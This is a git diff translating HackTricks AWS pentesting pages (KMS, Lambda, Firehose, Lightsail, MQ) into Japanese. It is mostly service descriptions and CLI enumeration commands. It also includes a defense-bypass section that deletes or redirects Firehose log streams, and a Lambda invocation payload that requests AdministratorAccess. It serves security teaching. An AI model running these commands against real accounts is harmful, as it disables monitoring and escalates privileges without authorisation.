制御されたユーザーまたはグループに追加の権限を付与します +- デフォルトでは、管理アカウントの権限を持つユーザーのみがIAMアイデンティティセンターにアクセスし、制御できるようになります。 -- Create a group and assign it permissions and set on it a controlled user -- Give extra permissions to a controlled user or group -- By default, only users with permissions form the Management Account are going to be able to access and control the IAM Identity Center. - - However, it's possible via Delegate Administrator to allow users from a different account to manage it. They won't have exactly the same permission, but they will be able to perform [**management activities**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). +ただし、Delegate Administratorを介して、別のアカウントのユーザーが管理できるようにすることが可能です。彼らは正確に同じ権限を持つわけではありませんが、[**管理活動**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)を実行することができます。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md index 6ca66b5ed..cf608b218 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md @@ -4,12 +4,11 @@ ## Kinesis Data Firehose -Amazon Kinesis Data Firehose is a **fully managed service** that facilitates the delivery of **real-time streaming data**. It supports a variety of destinations, including Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk, and custom HTTP endpoints. +Amazon Kinesis Data Firehoseは、**完全に管理されたサービス**であり、**リアルタイムストリーミングデータ**の配信を容易にします。Amazon Simple Storage Service (Amazon S3)、Amazon Redshift、Amazon OpenSearch Service、Splunk、カスタムHTTPエンドポイントなど、さまざまな宛先をサポートしています。 -The service alleviates the need for writing applications or managing resources by allowing data producers to be configured to forward data directly to Kinesis Data Firehose. This service is responsible for the **automatic delivery of data to the specified destination**. Additionally, Kinesis Data Firehose provides the option to **transform the data prior to its delivery**, enhancing its flexibility and applicability to various use cases. +このサービスは、データプロデューサーがデータをKinesis Data Firehoseに直接転送するように構成できるため、アプリケーションの作成やリソースの管理の必要性を軽減します。このサービスは、**指定された宛先へのデータの自動配信**を担当します。さらに、Kinesis Data Firehoseは、**配信前にデータを変換するオプション**を提供し、さまざまなユースケースへの柔軟性と適用性を高めます。 ### Enumeration - ```bash # Get delivery streams aws firehose list-delivery-streams @@ -19,37 +18,26 @@ aws firehose describe-delivery-stream --delivery-stream-name ## Get roles aws firehose describe-delivery-stream --delivery-stream-name | grep -i RoleARN ``` +## ポストエクスプロイテーション / 防御バイパス -## Post-exploitation / Defense Bypass - -In case firehose is used to send logs or defense insights, using these functionalities an attacker could prevent it from working properly. +firehoseがログや防御インサイトを送信するために使用される場合、これらの機能を利用して攻撃者は正常に機能するのを妨げることができます。 ### firehose:DeleteDeliveryStream - ``` aws firehose delete-delivery-stream --delivery-stream-name --allow-force-delete ``` - ### firehose:UpdateDestination - ``` aws firehose update-destination --delivery-stream-name --current-delivery-stream-version-id --destination-id ``` - ### firehose:PutRecord | firehose:PutRecordBatch - ``` aws firehose put-record --delivery-stream-name my-stream --record '{"Data":"SGVsbG8gd29ybGQ="}' aws firehose put-record-batch --delivery-stream-name my-stream --records file://records.json ``` - -## References +## 参考文献 - [https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html](https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index 543ed31cd..268c31210 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -2,128 +2,125 @@ {{#include ../../../banners/hacktricks-training.md}} -## KMS - Key Management Service +## KMS - キー管理サービス -AWS Key Management Service (AWS KMS) is presented as a managed service, simplifying the process for users to **create and manage customer master keys** (CMKs). These CMKs are integral in the encryption of user data. A notable feature of AWS KMS is that CMKs are predominantly **secured by hardware security modules** (HSMs), enhancing the protection of the encryption keys. +AWSキー管理サービス（AWS KMS）は、**顧客マスターキー**（CMK）を**作成および管理する**プロセスを簡素化するマネージドサービスとして提供されています。これらのCMKは、ユーザーデータの暗号化に不可欠です。AWS KMSの注目すべき機能は、CMKが主に**ハードウェアセキュリティモジュール**（HSM）によって**保護されている**ことです。これにより、暗号化キーの保護が強化されます。 -KMS uses **symmetric cryptography**. This is used to **encrypt information as rest** (for example, inside a S3). If you need to **encrypt information in transit** you need to use something like **TLS**. +KMSは**対称暗号化**を使用します。これは、**情報を静止状態で暗号化する**ために使用されます（例えば、S3内）。**情報を転送中に暗号化する**必要がある場合は、**TLS**のようなものを使用する必要があります。 -KMS is a **region specific service**. +KMSは**リージョン固有のサービス**です。 -**Administrators at Amazon do not have access to your keys**. They cannot recover your keys and they do not help you with encryption of your keys. AWS simply administers the operating system and the underlying application it's up to us to administer our encryption keys and administer how those keys are used. +**Amazonの管理者はあなたのキーにアクセスできません**。彼らはあなたのキーを復元することができず、あなたのキーの暗号化を手伝うこともありません。AWSは単にオペレーティングシステムとその基盤となるアプリケーションを管理しており、私たちが暗号化キーを管理し、それらのキーがどのように使用されるかを管理する責任があります。 -**Customer Master Keys** (CMK): Can encrypt data up to 4KB in size. They are typically used to create, encrypt, and decrypt the DEKs (Data Encryption Keys). Then the DEKs are used to encrypt the data. +**顧客マスターキー**（CMK）：最大4KBのデータを暗号化できます。通常、DEK（データ暗号化キー）を作成、暗号化、復号化するために使用されます。その後、DEKはデータを暗号化するために使用されます。 -A customer master key (CMK) is a logical representation of a master key in AWS KMS. In addition to the master key's identifiers and other metadata, including its creation date, description, and key state, a **CMK contains the key material which used to encrypt and decrypt data**. When you create a CMK, by default, AWS KMS generates the key material for that CMK. However, you can choose to create a CMK without key material and then import your own key material into that CMK. +顧客マスターキー（CMK）は、AWS KMSにおけるマスターキーの論理的表現です。マスターキーの識別子や作成日、説明、キーの状態などの他のメタデータに加えて、**CMKにはデータを暗号化および復号化するために使用されるキー素材が含まれています**。CMKを作成すると、デフォルトでAWS KMSはそのCMKのためのキー素材を生成します。ただし、キー素材なしでCMKを作成し、そのCMKに自分のキー素材をインポートすることもできます。 -There are 2 types of master keys: +マスターキーには2種類あります： -- **AWS managed CMKs: Used by other services to encrypt data**. It's used by the service that created it in a region. They are created the first time you implement the encryption in that service. Rotates every 3 years and it's not possible to change it. -- **Customer manager CMKs**: Flexibility, rotation, configurable access and key policy. Enable and disable keys. +- **AWS管理CMK：他のサービスによってデータを暗号化するために使用されます**。それは、リージョン内でそれを作成したサービスによって使用されます。暗号化をそのサービスで初めて実装したときに作成されます。3年ごとにローテーションされ、変更することはできません。 +- **顧客管理CMK**：柔軟性、ローテーション、構成可能なアクセスおよびキー方針。キーを有効または無効にします。 -**Envelope Encryption** in the context of Key Management Service (KMS): Two-tier hierarchy system to **encrypt data with data key and then encrypt data key with master key**. +**エンベロープ暗号化**は、キー管理サービス（KMS）の文脈において：**データキーでデータを暗号化し、次にマスターキーでデータキーを暗号化する**ための二層階層システムです。 -### Key Policies +### キーポリシー -These defines **who can use and access a key in KMS**. +これにより、**KMS内のキーを使用およびアクセスできる人を定義します**。 -By **default:** +**デフォルトでは：** -- It gives the **IAM of the** **AWS account that owns the KMS key access** to manage the access to the KMS key via IAM. +- **KMSキーを所有するAWSアカウントのIAMにアクセスを管理する**権限を与えます。 - Unlike other AWS resource policies, a AWS **KMS key policy does not automatically give permission any of the principals of the account**. To give permission to account administrators, the **key policy must include an explicit statement** that provides this permission, like this one. +他のAWSリソースポリシーとは異なり、AWS **KMSキーのポリシーはアカウントのいずれかのプリンシパルに自動的に権限を与えません**。アカウント管理者に権限を与えるには、**キーのポリシーにこの権限を提供する明示的なステートメントを含める必要があります**。 - - Without allowing the account(`"AWS": "arn:aws:iam::111122223333:root"`) IAM permissions won't work. +- アカウント（`"AWS": "arn:aws:iam::111122223333:root"`）に許可を与えない限り、IAM権限は機能しません。 -- It **allows the account to use IAM policies** to allow access to the KMS key, in addition to the key policy. +- **キーのポリシーに加えて、KMSキーへのアクセスを許可するためにIAMポリシーを使用することを許可します**。 - **Without this permission, IAM policies that allow access to the key are ineffective**, although IAM policies that deny access to the key are still effective. +**この権限がないと、キーへのアクセスを許可するIAMポリシーは無効になります**が、キーへのアクセスを拒否するIAMポリシーは依然として有効です。 -- It **reduces the risk of the key becoming unmanageable** by giving access control permission to the account administrators, including the account root user, which cannot be deleted. - -**Default policy** example: +- **アカウント管理者、削除できないアカウントのルートユーザーを含む**アカウント管理者にアクセス制御権限を与えることにより、キーが管理不能になるリスクを**軽減します**。 +**デフォルトポリシー**の例： ```json { - "Sid": "Enable IAM policies", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::111122223333:root" - }, - "Action": "kms:*", - "Resource": "*" +"Sid": "Enable IAM policies", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::111122223333:root" +}, +"Action": "kms:*", +"Resource": "*" } ``` - > [!WARNING] -> If the **account is allowed** (`"arn:aws:iam::111122223333:root"`) a **principal** from the account **will still need IAM permissions** to use the KMS key. However, if the **ARN** of a role for example is **specifically allowed** in the **Key Policy**, that role **doesn't need IAM permissions**. +> **アカウントが許可されている** (`"arn:aws:iam::111122223333:root"`) 場合、アカウントの **プリンシパル** は **KMSキーを使用するためにIAM権限が必要** です。しかし、例えば **ロールのARN** が **キー ポリシー** に **特に許可されている** 場合、そのロールは **IAM権限が不要** です。
-Policy Details +ポリシーの詳細 -Properties of a policy: +ポリシーのプロパティ: -- JSON based document -- Resource --> Affected resources (can be "\*") -- Action --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (permissions) -- Effect --> Allow/Deny -- Principal --> arn affected -- Conditions (optional) --> Condition to give the permissions +- JSONベースのドキュメント +- リソース --> 影響を受けるリソース ("\*" も可) +- アクション --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (権限) +- 効果 --> Allow/Deny +- プリンシパル --> 影響を受けるarn +- 条件 (オプション) --> 権限を与える条件 -Grants: +グラント: -- Allow to delegate your permissions to another AWS principal within your AWS account. You need to create them using the AWS KMS APIs. It can be indicated the CMK identifier, the grantee principal and the required level of opoeration (Decrypt, Encrypt, GenerateDataKey...) -- After the grant is created a GrantToken and a GratID are issued +- AWSアカウント内の別のAWSプリンシパルに権限を委任することを許可します。AWS KMS APIを使用して作成する必要があります。CMK識別子、グラントを受けるプリンシパル、および必要な操作レベル (Decrypt, Encrypt, GenerateDataKey...) を指定できます。 +- グラントが作成されると、GrantTokenとGrantIDが発行されます。 -**Access**: +**アクセス**: -- Via **key policy** -- If this exist, this takes **precedent** over the IAM policy -- Via **IAM policy** -- Via **grants** +- **キー ポリシー** を介して -- これが存在する場合、IAMポリシーよりも **優先されます** +- **IAMポリシー** を介して +- **グラント** を介して
-### Key Administrators +### キー管理者 -Key administrator by default: +デフォルトのキー管理者: -- Have access to manage KMS but not to encrypt or decrypt data -- Only IAM users and roles can be added to Key Administrators list (not groups) -- If external CMK is used, Key Administrators have the permission to import key material +- KMSを管理するアクセス権を持っていますが、データを暗号化または復号化することはできません +- キー管理者リストには、IAMユーザーとロールのみを追加できます (グループは不可) +- 外部CMKが使用される場合、キー管理者はキー素材をインポートする権限を持っています -### Rotation of CMKs +### CMKのローテーション -- The longer the same key is left in place, the more data is encrypted with that key, and if that key is breached, then the wider the blast area of data is at risk. In addition to this, the longer the key is active, the probability of it being breached increases. -- **KMS rotate customer keys every 365 days** (or you can perform the process manually whenever you want) and **keys managed by AWS every 3 years** and this time it cannot be changed. -- **Older keys are retained** to decrypt data that was encrypted prior to the rotation -- In a break, rotating the key won't remove the threat as it will be possible to decrypt all the data encrypted with the compromised key. However, the **new data will be encrypted with the new key**. -- If **CMK** is in state of **disabled** or **pending** **deletion**, KMS will **not perform a key rotation** until the CMK is re-enabled or deletion is cancelled. +- 同じキーが長く保持されるほど、そのキーで暗号化されるデータが増え、そのキーが侵害されると、リスクのあるデータの範囲が広がります。さらに、キーがアクティブである期間が長くなるほど、侵害される可能性が高くなります。 +- **KMSは顧客キーを365日ごとにローテーションします** (または、いつでも手動でプロセスを実行できます) そして **AWSが管理するキーは3年ごとにローテーションされ、今回は変更できません**。 +- **古いキーは保持され**、ローテーション前に暗号化されたデータを復号化するために使用されます。 +- 侵害が発生した場合、キーをローテーションしても脅威は除去されず、侵害されたキーで暗号化されたすべてのデータを復号化することが可能です。しかし、**新しいデータは新しいキーで暗号化されます**。 +- **CMK** が **無効** または **削除保留中** の状態にある場合、KMSはCMKが再有効化されるか削除がキャンセルされるまで **キーのローテーションを実行しません**。 -#### Manual rotation +#### 手動ローテーション -- A **new CMK needs to be created**, then, a new CMK-ID is created, so you will need to **update** any **application** to **reference** the new CMK-ID. -- To do this process easier you can **use aliases to refer to a key-id** and then just update the key the alias is referring to. -- You need to **keep old keys to decrypt old files** encrypted with it. +- **新しいCMKを作成する必要があります**。その後、新しいCMK-IDが作成されるため、**アプリケーション** を **新しいCMK-IDを参照するように更新** する必要があります。 +- このプロセスを簡単にするために、**キーIDを参照するためにエイリアスを使用** し、その後エイリアスが参照しているキーを更新することができます。 +- **古いファイルを復号化するために古いキーを保持する必要があります**。 -You can import keys from your on-premises key infrastructure . +オンプレミスのキーインフラストラクチャからキーをインポートできます。 -### Other relevant KMS information +### その他の関連KMS情報 -KMS is priced per number of encryption/decryption requests received from all services per month. +KMSは、すべてのサービスから受け取った暗号化/復号化リクエストの数に基づいて価格が設定されます。 -KMS has full audit and compliance **integration with CloudTrail**; this is where you can audit all changes performed on KMS. +KMSは完全な監査およびコンプライアンス **CloudTrailとの統合** を提供しています。ここでKMSに対して行われたすべての変更を監査できます。 -With KMS policy you can do the following: +KMSポリシーを使用して、次のことができます: -- Limit who can create data keys and which services have access to use these keys -- Limit systems access to encrypt only, decrypt only or both -- Define to enable systems to access keys across regions (although it is not recommended as a failure in the region hosting KMS will affect availability of systems in other regions). +- データキーを作成できる人と、これらのキーを使用するサービスを制限する +- システムのアクセスを暗号化のみ、復号化のみ、または両方に制限する +- システムがリージョンをまたいでキーにアクセスできるように定義する (ただし、KMSをホストしているリージョンでの障害が他のリージョンのシステムの可用性に影響を与えるため、推奨されません)。 -You cannot synchronize or move/copy keys across regions; you can only define rules to allow access across region. - -### Enumeration +リージョン間でキーを同期または移動/コピーすることはできません。アクセスを許可するルールを定義することのみ可能です。 +### 列挙 ```bash aws kms list-keys aws kms list-key-policies --key-id @@ -132,31 +129,26 @@ aws kms describe-key --key-id aws kms get-key-policy --key-id --policy-name # Default policy name is "default" aws kms describe-custom-key-stores ``` - -### Privesc +### プライベートエスカレーション {{#ref}} ../aws-privilege-escalation/aws-kms-privesc.md {{#endref}} -### Post Exploitation +### ポストエクスプロイテーション {{#ref}} ../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} -### Persistence +### 永続性 {{#ref}} ../aws-persistence/aws-kms-persistence.md {{#endref}} -## References +## 参考文献 - [https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html](https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 03fa1aac8..29530d8c8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -4,59 +4,58 @@ ## Lambda -Amazon Web Services (AWS) Lambda is described as a **compute service** that enables the execution of code without the necessity for server provision or management. It is characterized by its ability to **automatically handle resource allocation** needed for code execution, ensuring features like high availability, scalability, and security. A significant aspect of Lambda is its pricing model, where **charges are based solely on the compute time utilized**, eliminating the need for initial investments or long-term obligations. +Amazon Web Services (AWS) Lambdaは、**サーバーの提供や管理を必要とせずにコードを実行できる** **コンピュートサービス**として説明されています。コード実行に必要な**リソースの割り当てを自動的に処理する**能力が特徴で、高可用性、スケーラビリティ、セキュリティなどの機能を保証します。Lambdaの重要な側面は、**利用したコンピュート時間に基づいてのみ料金が発生する**価格モデルであり、初期投資や長期的な義務が不要です。 -To call a lambda it's possible to call it as **frequently as you wants** (with Cloudwatch), **expose** an **URL** endpoint and call it, call it via **API Gateway** or even based on **events** such as **changes** to data in a **S3** bucket or updates to a **DynamoDB** table. +Lambdaを呼び出すには、**好きなだけ頻繁に**（Cloudwatchを使用して）呼び出すことが可能で、**URL**エンドポイントを**公開**して呼び出したり、**API Gateway**経由で呼び出したり、**S3**バケット内のデータの**変更**や**DynamoDB**テーブルの更新などの**イベント**に基づいて呼び出すことができます。 -The **code** of a lambda is stored in **`/var/task`**. +Lambdaの**コード**は**`/var/task`**に保存されています。 ### Lambda Aliases Weights -A Lambda can have **several versions**.\ -And it can have **more than 1** version exposed via **aliases**. The **weights** of **each** of the **versions** exposed inside and alias will decide **which alias receive the invocation** (it can be 90%-10% for example).\ -If the code of **one** of the aliases is **vulnerable** you can send **requests until the vulnerable** versions receives the exploit. +Lambdaは**複数のバージョン**を持つことができます。\ +また、**エイリアス**を介して**1つ以上の**バージョンを公開することができます。エイリアス内で公開されている**各**バージョンの**重み**が、**どのエイリアスが呼び出しを受けるか**を決定します（例えば90%-10%など）。\ +**1つ**のエイリアスのコードが**脆弱**な場合、**脆弱な**バージョンがエクスプロイトを受け取るまで**リクエストを送信**できます。 ![](<../../../images/image (223).png>) ### Resource Policies -Lambda resource policies allow to **give access to other services/accounts to invoke** the lambda for example.\ -For example this is the policy to allow **anyone to access a lambda exposed via URL**: +Lambdaリソースポリシーは、他のサービスやアカウントにLambdaを呼び出す**アクセスを与える**ことを可能にします。\ +例えば、**URLを介して公開されたLambdaに誰でもアクセスできる**ようにするポリシーは次の通りです：
-Or this to allow an API Gateway to invoke it: +また、API Gatewayが呼び出すことを許可するためのポリシーは次の通りです：
### Lambda Database Proxies -When there are **hundreds** of **concurrent lambda requests**, if each of them need to **connect and close a connection to a database**, it's just not going to work (lambdas are stateless, cannot maintain connections open).\ -Then, if your **Lambda functions interact with RDS Proxy instead** of your database instance. It handles the connection pooling necessary for scaling many simultaneous connections created by concurrent Lambda functions. This allows your Lambda applications to **reuse existing connections**, rather than creating new connections for every function invocation. +**数百**の**同時Lambdaリクエスト**がある場合、各リクエストが**データベースへの接続を開いて閉じる**必要があると、うまく機能しません（Lambdaはステートレスで、接続をオープンに保つことができません）。\ +そのため、**Lambda関数がデータベースインスタンスの代わりにRDS Proxyと対話する**場合、同時Lambda関数によって作成される多くの接続のために必要な接続プーリングを処理します。これにより、Lambdaアプリケーションは**既存の接続を再利用**でき、新しい接続を各関数呼び出しのために作成する必要がなくなります。 ### Lambda EFS Filesystems -To preserve and even share data **Lambdas can access EFS and mount them**, so Lambda will be able to read and write from it. +データを保持し、さらには共有するために、**LambdaはEFSにアクセスし、マウントすることができます**。これにより、LambdaはEFSから読み書きができるようになります。 ### Lambda Layers -A Lambda _layer_ is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files. +Lambdaの**レイヤー**は、**追加のコード**やその他のコンテンツを含むことができる.zipファイルアーカイブです。レイヤーにはライブラリ、[カスタムランタイム](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html)、データ、または設定ファイルを含めることができます。 -It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment. +**関数ごとに最大5つのレイヤーを含める**ことが可能です。関数にレイヤーを含めると、**内容は実行環境の`/opt`**ディレクトリに抽出されます。 -By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version. +**デフォルト**では、作成した**レイヤー**は**あなたのAWSアカウントにプライベート**です。他のアカウントとレイヤーを**共有**したり、レイヤーを**公開**することを選択できます。あなたの関数が異なるアカウントが公開したレイヤーを使用する場合、レイヤーが削除された後や、レイヤーへのアクセス権が取り消された後でも、関数は**レイヤーのバージョンを引き続き使用できます**。ただし、削除されたレイヤーバージョンを使用して新しい関数を作成したり、関数を更新したりすることはできません。 -Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image. +コンテナイメージとしてデプロイされた関数はレイヤーを使用しません。代わりに、イメージをビルドする際に、好みのランタイム、ライブラリ、およびその他の依存関係をコンテナイメージにパッケージ化します。 ### Lambda Extensions -Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**. +Lambda拡張は、さまざまな**監視、可視性、セキュリティ、およびガバナンステクニック**と統合することで関数を強化します。これらの拡張は、[Lambdaレイヤーを使用した.zipアーカイブ](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html)を介して追加されるか、[コンテナイメージデプロイメントに含まれる](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/)もので、**内部**と**外部**の2つのモードで動作します。 -- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**. -- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**. +- **内部拡張**は、ランタイムプロセスと統合し、**言語固有の環境変数**や**ラッパースクリプト**を使用してその起動を操作します。このカスタマイズは、**Java Correto 8および11、Node.js 10および12、.NET Core 3.1**などのさまざまなランタイムに適用されます。 +- **外部拡張**は、別のプロセスとして実行され、Lambda関数のライフサイクルに合わせて動作を維持します。これらは、**Node.js 10および12、Python 3.7および3.8、Ruby 2.5および2.7、Java Corretto 8および11、.NET Core 3.1**、および**カスタムランタイム**などのさまざまなランタイムと互換性があります。 ### Enumeration - ```bash aws lambda get-account-settings @@ -93,11 +92,9 @@ aws lambda list-event-source-mappings aws lambda list-code-signing-configs aws lambda list-functions-by-code-signing-config --code-signing-config-arn ``` +### ラムダを呼び出す -### Invoke a lambda - -#### Manual - +#### 手動 ```bash # Invoke function aws lambda invoke --function-name FUNCTION_NAME /tmp/out @@ -106,83 +103,70 @@ aws lambda invoke --function-name FUNCTION_NAME /tmp/out ## user_name = event['user_name'] aws lambda invoke --function-name --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess], "user_name": "sdf"}' out.txt ``` - -#### Via exposed URL - +#### 公開されたURLを介して ```bash aws lambda list-function-url-configs --function-name #Get lambda URL aws lambda get-function-url-config --function-name #Get lambda URL ``` - #### Call Lambda function via URL -Now it's time to find out possible lambda functions to execute: - +今は実行する可能性のあるラムダ関数を見つける時です: ``` aws --region us-west-2 --profile level6 lambda list-functions ``` - ![](<../../../images/image (262).png>) -A lambda function called "Level6" is available. Lets find out how to call it: - +「Level6」という名前のラムダ関数が利用可能です。呼び出し方を見てみましょう： ```bash aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 ``` - ![](<../../../images/image (102).png>) -Now, that you know the name and the ID you can get the Name: - +名前とIDがわかったので、名前を取得できます: ```bash aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75" ``` - ![](<../../../images/image (237).png>) -And finally call the function accessing (notice that the ID, Name and function-name appears in the URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) +そして最後に、関数を呼び出します（ID、Name、function-nameがURLに表示されることに注意してください）： [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) `URL:`**`https://.execute-api..amazonaws.com//`** -#### Other Triggers +#### その他のトリガー -There are a lot of other sources that can trigger a lambda +Lambdaをトリガーできる他の多くのソースがあります
-### Privesc +### プライベートエスカレーション -In the following page you can check how to **abuse Lambda permissions to escalate privileges**: +次のページでは、**Lambdaの権限を悪用して権限をエスカレートする方法**を確認できます： {{#ref}} ../aws-privilege-escalation/aws-lambda-privesc.md {{#endref}} -### Unauthenticated Access +### 認証されていないアクセス {{#ref}} ../aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md {{#endref}} -### Post Exploitation +### ポストエクスプロイテーション {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/ {{#endref}} -### Persistence +### 永続性 {{#ref}} ../aws-persistence/aws-lambda-persistence/ {{#endref}} -## References +## 参考文献 - [https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer](https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer) - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index 9f5ccb1ab..bc4415753 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -4,11 +4,10 @@ ## AWS - Lightsail -Amazon Lightsail provides an **easy**, lightweight way for new cloud users to take advantage of AWS’ cloud computing services. It allows you to deploy common and custom web services in seconds via **VMs** (**EC2**) and **containers**.\ -It's a **minimal EC2 + Route53 + ECS**. +Amazon Lightsailは、新しいクラウドユーザーがAWSのクラウドコンピューティングサービスを利用するための**簡単**で軽量な方法を提供します。これにより、一般的およびカスタムのウェブサービスを**VM**（**EC2**）および**コンテナ**を介して数秒でデプロイできます。\ +これは**最小限のEC2 + Route53 + ECS**です。 ### Enumeration - ```bash # Instances aws lightsail get-instances #Get all @@ -29,35 +28,30 @@ aws lightsail get-load-balancers aws lightsail get-static-ips aws lightsail get-key-pairs ``` +### スナップショットの分析 -### Analyse Snapshots +**Lightsailからインスタンスおよびリレーショナルデータベースのスナップショットを生成することが可能です**。したがって、[**EC2スナップショット**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs)や[**RDSスナップショット**](aws-relational-database-rds-enum.md#enumeration)と同じ方法でそれらを確認できます。 -It's possible to generate **instance and relational database snapshots from lightsail**. Therefore you can check those the same way you can check [**EC2 snapshots**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) and [**RDS snapshots**](aws-relational-database-rds-enum.md#enumeration). +### メタデータ -### Metadata +**メタデータエンドポイントはLightsailからアクセス可能ですが**、マシンは**AWSによって管理されているAWSアカウントで実行されているため、**どの権限が付与されているかを制御することはできません**。ただし、それらを悪用する方法を見つけた場合、あなたは直接AWSを悪用することになります。 -**Metadata endpoint is accessible from lightsail**, but the machines are running in an **AWS account managed by AWS** so you don't control **what permissions are being granted**. However, if you find a way to exploit those you would be directly exploiting AWS. - -### Privesc +### 権限昇格 {{#ref}} ../aws-privilege-escalation/aws-lightsail-privesc.md {{#endref}} -### Post Exploitation +### ポストエクスプロイト {{#ref}} ../aws-post-exploitation/aws-lightsail-post-exploitation.md {{#endref}} -### Persistence +### 永続性 {{#ref}} ../aws-persistence/aws-lightsail-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index 8504db545..82f34cc44 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -4,28 +4,27 @@ ## Amazon MQ -### Introduction to Message Brokers +### メッセージブローカーの紹介 -**Message brokers** serve as intermediaries, facilitating communication between different software systems, which may be built on varied platforms and programmed in different languages. **Amazon MQ** simplifies the deployment, operation, and maintenance of message brokers on AWS. It provides managed services for **Apache ActiveMQ** and **RabbitMQ**, ensuring seamless provisioning and automatic software version updates. +**メッセージブローカー**は、異なるソフトウェアシステム間の通信を仲介する役割を果たし、さまざまなプラットフォーム上で構築され、異なる言語でプログラムされたシステムをつなぎます。**Amazon MQ**は、AWS上でのメッセージブローカーの展開、運用、保守を簡素化します。**Apache ActiveMQ**と**RabbitMQ**のための管理サービスを提供し、シームレスなプロビジョニングと自動ソフトウェアバージョンの更新を保証します。 ### AWS - RabbitMQ -RabbitMQ is a prominent **message-queueing software**, also known as a _message broker_ or _queue manager_. It's fundamentally a system where queues are configured. Applications interface with these queues to **send and receive messages**. Messages in this context can carry a variety of information, ranging from commands to initiate processes on other applications (potentially on different servers) to simple text messages. The messages are held by the queue-manager software until they are retrieved and processed by a receiving application. AWS provides an easy-to-use solution for hosting and managing RabbitMQ servers. 